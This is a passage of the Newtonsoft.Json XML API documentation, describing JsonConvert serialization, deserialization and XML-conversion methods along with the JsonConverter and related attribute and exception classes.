cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see 